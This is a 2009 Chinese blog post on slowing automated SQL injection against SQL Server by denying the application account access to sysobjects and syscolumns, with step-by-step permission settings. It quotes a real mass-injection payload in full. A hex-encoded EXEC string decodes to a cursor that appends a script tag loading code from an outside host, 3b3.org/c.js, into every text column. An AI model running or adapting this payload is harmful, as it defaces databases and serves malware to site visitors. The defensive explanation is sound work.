延缓SQL盲注与SQL Server的权限

原文:http://blog.webserverguard.net/post/efbfbdd3bbefbfbdSQLad7a2efbfbdefbfbdSQL-ServerefbfbdefbfbdEefbfbdefbfbd.aspx

同步更新:Web应用安全观察站 http://blog.WebServerGuard.Net/

所谓SQL盲注也就是采用自动化的程序来自动的扫描注入点,并可以自动扫描数据表进行大规模批量注入,其危害性也最大。

这里我们来探讨一种与SQL Server权限有关的延缓SQL盲注的方法。

一般来说SQL盲注的最终注入代码都类似于如下片段(SQL Server 2000/2005):

DeCLaRE @S NvArCHaR(4000);SeT
@S=CaSt(0x4400650063006C006100720065002000400054002000560061007200630068006100720028003200

3500350029002C0040004300200056006100720063006800610072002800320035003500290020004400650063

006C0061007200650020005400610062006C0065005F0043007500720073006F00720020004300750072007300

6F007200200046006F0072002000530065006C00650063007400200041002E004E0061006D0065002C0042002E

004E0061006D0065002000460072006F006D0020005300790073006F0062006A00650063007400730020004100

2C0053007900730063006F006C0075006D006E00730020004200200057006800650072006500200041002E0049

0064003D0042002E0049006400200041006E006400200041002E00580074007900700065003D00270075002700

200041006E0064002000280042002E00580074007900700065003D003900390020004F007200200042002E0058

0074007900700065003D003300350020004F007200200042002E00580074007900700065003D00320033003100

20004F007200200042002E00580074007900700065003D00310036003700290020004F00700065006E00200054

00610062006C0065005F0043007500720073006F00720020004600650074006300680020004E00650078007400

2000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074

006F002000400054002C004000430020005700680069006C006500280040004000460065007400630068005F00

5300740061007400750073003D0030002900200042006500670069006E00200045007800650063002800270075

007000640061007400650020005B0027002B00400054002B0027005D00200053006500740020005B0027002B0

0400043002B0027005D003D0052007400720069006D00280043006F006E0076006500720074002800560061007

20063006800610072002800380030003000300029002C005B0027002B00400043002B0027005D00290029002B

00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F003300

620033002E006F00720067002F0063002E006A0073003E003C002F007300630072006900700074003E00270027

00270029004600650074006300680020004E006500780074002000460072006F006D0020002000540061006200

6C0065005F0043007500720073006F007200200049006E0074006F002000400054002C0040004300200045006E0

06400200043006C006F007300650020005400610062006C0065005F0043007500720073006F007200200044006

50061006C006C006F00630061007400650020005400610062006C0065005F0043007500720073006F007200

aS NvArChAR(4000));ExEc(@S);--

解密后就是下面片段:

Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor
For Select A.Name,B.Name From Sysobjects A,Syscolumns B
   Where A.Id=B.Id And A.Xtype='u'
         And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)
Open Table_Cursor Fetch Next From  Table_Cursor Into @T,@C
While(@@Fetch_Status=0)
Begin
Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''《script src=http://3b3.org/c.js》《/script》''')
Fetch Next From  Table_Cursor Into @T,@C
End
Close Table_Cursor
Deallocate Table_Cursor

其中的Script符号我替换掉了。

从中可以看出,从2008年开始的大规模SQL盲注其核心并没有任何变化,只是注入进去的木马地址在不断变化而已。

同样可以看到当中我用粗体标注出来的表名sysobjects,syscolumns。SQL盲注就是利用这两个系统表来进行遍历的。

所以暂时延缓SQL盲注的方法就是将程序中访问数据库的账号(注意:绝对不要用默认的sa权限,而建议你为你的Web应用程序单独建立需要的访问账号)移除掉对于这几个系统表的访问权限即可避免盲注(我特意注明是盲注,因为注入点还是存在,只是延缓掉SQL盲注而已)。

比如你Web应用程序访问数据库的帐号为tnt001,要禁止掉的对于系统表sysobjects,syscolumns的访问权限的方法如下:

SQL Server 2000比较直观简单,而SQL Server 2005开始就完全重构了整个系统架构,有一定不同,所以这里以SQL Server 2005为例来详细说明(SQL Server 2008类似):

Step 1: 选择某一个具体的数据库,点击节点“安全性”->“用户”,然后选择你需要的账号比如tnt001,右键选择属性

image

Step 2:选择属性页的左侧的“安全对象”

image

Step 3: 点击 安全对象 下的“添加”按钮,选择“特性类型的所有对象”

image

image

 

Step 4:选择“视图”,并选择其中的sysobjects,syscolumns

image

image

Step 5:将选定的几个视图的“Select”权限选定为 拒绝

image

点击确定即可.

用账号tnt001连接,然后访问sysobjects测试会得到拒绝访问的提示:

“拒绝了对对象 'sysobjects' (数据库 'mssqlsystemresource',架构 'sys')的 SELECT 权限。”

上面的方式只是延缓了SQL盲注,因为大规模批量注入都是程序自动进行的,这种方法也就是屏蔽掉了程序对于此类SQL Server数据库的盲注攻击,但是SQL注入点还是依然存在的,如果是人工在得到相关信息的情况下进行注入,还是无法避免的,治本还是需要从源程序入手彻底修改掉。

但往往由于实际情况中,涉及到SQL注入漏洞的源程序非常庞杂,代码需要Review的量很大,这种延缓SQL盲注的方法也就为你彻底排查并修改掉有漏洞的程序赢得了一定的时间。

posted @ 2009-07-29 16:07  Web应用安全观察站  阅读(289)  评论(0编辑  收藏  举报